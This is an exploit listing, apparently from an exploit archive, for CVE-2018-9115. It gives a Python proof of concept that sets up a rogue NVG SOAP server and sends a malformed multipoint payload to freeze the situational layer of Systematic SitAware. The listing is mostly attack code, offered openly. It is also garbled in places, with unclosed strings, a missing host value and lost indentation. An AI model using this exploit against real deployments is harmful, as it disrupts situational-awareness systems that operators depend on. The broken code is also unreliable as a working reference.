Systematic SitAware NVG Denial Of Service

Systematic SitAware suffers from a denial of service vulnerability.

MD5 | a9be74c74bea3734035f59949ebe4c09

# Exploit Title: SitAware NVG Denial of Service 
# Date: 03/31/2018
# Exploit Author: 2u53
# Vendor Homepage:
# Version: 6.4 SP2
# Tested on: Windows Server 2012 R2
# CVE: CVE-2018-9115

# Remarks: PoC needs bottlypy:

# Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing
# the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means
# that the Situational Picture is no more updated. Unfortunately the user can not notice until
# he tries to work with the situational layer.


from bottle import post, run, request, response

LHOST = # Local IP which the NVG server should use
LPORT = 8080 # Local Port on which the NVG server should listen

GET_CAPABILITIES = '''<soap:Envelope xmlns:soap=""> <soap:Body>
<ns3:GetCapabilitiesResponse xmlns="" xmlns:ns2="" xmlns:ns3="" xmlns:ns4="">
<ns4:nvg_capabilities version="1.5">

EVIL_NVG = '''<soap:Envelope xmlns:soap=""> <soap:Body>
<ns3:GetNvgResponse xmlns="" xmlns:ns2="" xmlns:ns3="" xmlns:ns4="">
<ns4:nvg version="1.5" classification="NATO UNCLASSIFIED">
<ns4:multipoint points="-0.01,0.01 0.02,-0.02 0.01,0.01" symbol="2525b:GFTPZ---------X"

def soap():
action = dict(request.headers.items()).get('Soapaction')
action = action.replace('"', '')
print('Incoming connection')

response.content_type = 'text/xml;charset=utf-8'

if action.endswith('nvg/GetCapabilities'):
print('Sending capabilities to victim'...)
print('Done! Waiting for NVG request...')
elif action.endswith('nvg/GetNvg'):
print('Sending evil NVG')
return EVIL_NVG
print('Invalid request received')

run(host=LHOST, port=LPORT)

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